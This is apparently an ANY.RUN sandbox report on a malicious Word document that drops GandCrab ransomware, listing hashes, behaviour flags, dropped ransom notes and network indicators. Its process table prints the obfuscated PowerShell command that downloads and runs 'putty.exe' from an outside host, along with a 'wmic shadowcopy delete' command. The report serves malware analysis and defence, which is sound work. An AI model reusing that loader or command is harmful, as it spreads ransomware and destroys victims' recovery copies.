analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Emergеnсyеxitmар.doc

Full analysis: https://app.any.run/tasks/8cb37e7b-d8ef-4b77-8b0e-4b7d4ed57431
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: January 23, 2019, 04:19:24
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
macros
macros-on-open
generated-doc
loader
ransomware
gandcrab
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: admin, Template: Normal.dotm, Last Saved By: Admin, Revision Number: 4, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Jan 22 19:27:00 2019, Last Saved Time/Date: Tue Jan 22 19:28:00 2019, Number of Pages: 1, Number of Words: 10, Number of Characters: 57, Security: 0
MD5:

D489E42E0AAC01A5D4C07E2976414559

SHA1:

0FDC67E6804997047A2FF884A368968F6CE3BBEB

SHA256:

C69B49DE3046C74B69DA1CF8AF7C065430292340CE1959B1AF973A329F585251

SSDEEP:

384:QJjFiSAoKXMVkkY4Tlps1tzI1vJO0ahnadSVSrvxWdimCMg0jQ9NZA:lMVkpelpys3dSVSrvQdijh9g

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 2756)

    • Application was dropped or rewritten from another process

      • putty.exe (PID: 2060)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2284)

    • GandCrab keys found

      • putty.exe (PID: 2060)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2756)

    • Writes file to Word startup folder

      • putty.exe (PID: 2060)

    • Deletes shadow copies

      • putty.exe (PID: 2060)

    • Renames files like Ransomware

      • putty.exe (PID: 2060)

    • Dropped file may contain instructions of ransomware

      • putty.exe (PID: 2060)

  • SUSPICIOUS

    • Reads the machine GUID from the registry

      • powershell.exe (PID: 2284)

    • Creates files in the Windows directory

      • powershell.exe (PID: 2284)

    • Creates files in the user directory

      • powershell.exe (PID: 2284)
      • putty.exe (PID: 2060)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2284)

    • Creates files like Ransomware instruction

      • putty.exe (PID: 2060)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2756)

    • Reads the machine GUID from the registry

      • WINWORD.EXE (PID: 2756)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2756)

    • Reads settings of System Certificates

      • putty.exe (PID: 2060)

    • Dropped object may contain TOR URL's

      • putty.exe (PID: 2060)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: ???????? Microsoft Word 97-2003
CompObjUserTypeLen: 32
HeadingPairs:
  • Название
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 66
Paragraphs: 1
Lines: 1
Company: Salve
CodePage: Windows Cyrillic
Security: None
Characters: 57
Words: 10
Pages: 1
ModifyDate: 2019:01:22 19:28:00
CreateDate: 2019:01:22 19:27:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 4
LastModifiedBy: Admin
Template: Normal.dotm
Keywords: -
Author: admin
Subject: -
Title: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
4
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs powershell.exe #GANDCRAB putty.exe wmic.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2756"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Emergеnсyеxitmар.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.5123.5000
2284powershell $VF0eh2ayk = '61792.984793878$oMis7B = 61792.984793878n61792.984793878e61792.984793878w61792.984793878-obj61792.984793878e61792.984793878c61792.984793878t n61792.984793878e61792.984793878t61792.984793878.w61792.984793878e61792.984793878b61792.984793878cli61792.984793878ent; $oMis7B.d61792.984793878o61792.984793878w61792.984793878n61792.984793878l61792.984793878o61792.984793878a61792.984793878d61792.984793878f61792.984793878i61792.984793878le(\"61792.984793878h61792.984793878t61792.984793878t61792.984793878p61792.984793878://cameraista.com/olalala/putty.exe\", \"c:\win61792.984793878dows\t61792.984793878emp\put61792.984793878t61792.984793878y61792.984793878.61792.984793878e61792.984793878x61792.984793878e\"); 61792.984793878s61792.984793878tar61792.984793878t-p61792.984793878r61792.984793878o61792.984793878ces61792.984793878s \"c:\win61792.984793878d61792.984793878o61792.984793878ws\temp\p61792.984793878u61792.984793878t61792.984793878t61792.984793878y.ex61792.984793878e\";'.replace('61792.984793878', $mIR9DCa);$K7QH4bT = '';iex($VF0eh2ayk);C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2060"C:\windows\temp\putty.exe" C:\windows\temp\putty.exe
powershell.exe
User:
admin
Company:
Nullsoft, Inc.
Integrity Level:
MEDIUM
Description:
Audience Need Zimmerman
Version:
3.1.22.6
2320"C:\Windows\system32\wbem\wmic.exe" shadowcopy deleteC:\Windows\SysWOW64\wbem\wmic.exe—putty.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
2147749908
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 655
Read events
1 071
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
2 193
Text files
209
Unknown types
75

Dropped files

PID
Process
Filename
Type
2756WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR6DAC.tmp.cvr —
MD5:—
SHA256:—
2284powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GZ4TGU9CU0IG0CTZ3IN7.temp —
MD5:—
SHA256:—
2060putty.exeC:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp —
MD5:—
SHA256:—
2060putty.exeC:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData —
MD5:—
SHA256:—
2284powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:A3B85C6C5DE0C3123985DEB717A95A18
SHA256:76333D2387D11B88CAAEB4FC2A7737BCFD5B252ED0D713B632A2A1BA60CF0B58
2284powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF14925b.TMPbinary
MD5:A3B85C6C5DE0C3123985DEB717A95A18
SHA256:76333D2387D11B88CAAEB4FC2A7737BCFD5B252ED0D713B632A2A1BA60CF0B58
2756WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:CB42D3C372AE0C325677329EFF02E1BB
SHA256:36086514AF84B254B42343AABF27C3D9E081488772EE60182626014EFA1CDFD8
2060putty.exeC:\Users\admin\AppData\Roaming\Adobe\Acrobat\IOAHHZNEW-DECRYPT.txttext
MD5:2ECAFFD3E0F7EC64296399749A90ED23
SHA256:965E105FF2E1AA70F2A3CC3AA0D696D533FC780775CA051B5FBA6F12436080AA
2060putty.exeC:\$Recycle.Bin\S-1-5-21-3896776584-4254864009-862391680-1000\IOAHHZNEW-DECRYPT.txttext
MD5:2ECAFFD3E0F7EC64296399749A90ED23
SHA256:965E105FF2E1AA70F2A3CC3AA0D696D533FC780775CA051B5FBA6F12436080AA
2060putty.exeC:\Users\admin\.oracle_jre_usage\IOAHHZNEW-DECRYPT.txttext
MD5:2ECAFFD3E0F7EC64296399749A90ED23
SHA256:965E105FF2E1AA70F2A3CC3AA0D696D533FC780775CA051B5FBA6F12436080AA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
5
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2284
powershell.exe
GET
200
205.185.117.187:80
http://cameraista.com/olalala/putty.exe
US
executable
641 Kb
suspicious
2060
putty.exe
GET
200
192.35.177.64:80
http://apps.identrust.com/roots/dstrootcax3.p7c
US
cat
893 b
shared
2060
putty.exe
GET
301
138.201.162.99:80
http://www.kakaocorp.link/
DE
html
162 b
malicious
2060
putty.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?e446175f8d443ed4
US
compressed
55.2 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2060
putty.exe
138.201.162.99:80
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious
2284
powershell.exe
205.185.117.187:80
cameraista.com
FranTech Solutions
US
suspicious
2060
putty.exe
192.35.177.64:80
apps.identrust.com
IdenTrust
US
malicious
2060
putty.exe
93.184.221.240:80
ctldl.windowsupdate.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
2060
putty.exe
138.201.162.99:443
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious

DNS requests

Domain
IP
Reputation
cameraista.com
  • 205.185.117.187
suspicious
www.kakaocorp.link
  • 138.201.162.99
malicious
apps.identrust.com
  • 192.35.177.64
shared
ctldl.windowsupdate.com
  • 93.184.221.240
whitelisted

Threats

PID
Process
Class
Message
2284
powershell.exe
Potentially Bad Traffic
ET INFO Possibly Suspicious Request for Putty.exe from Non-Standard Download Location
2284
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2284
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Emergеnсyеxitmар.doc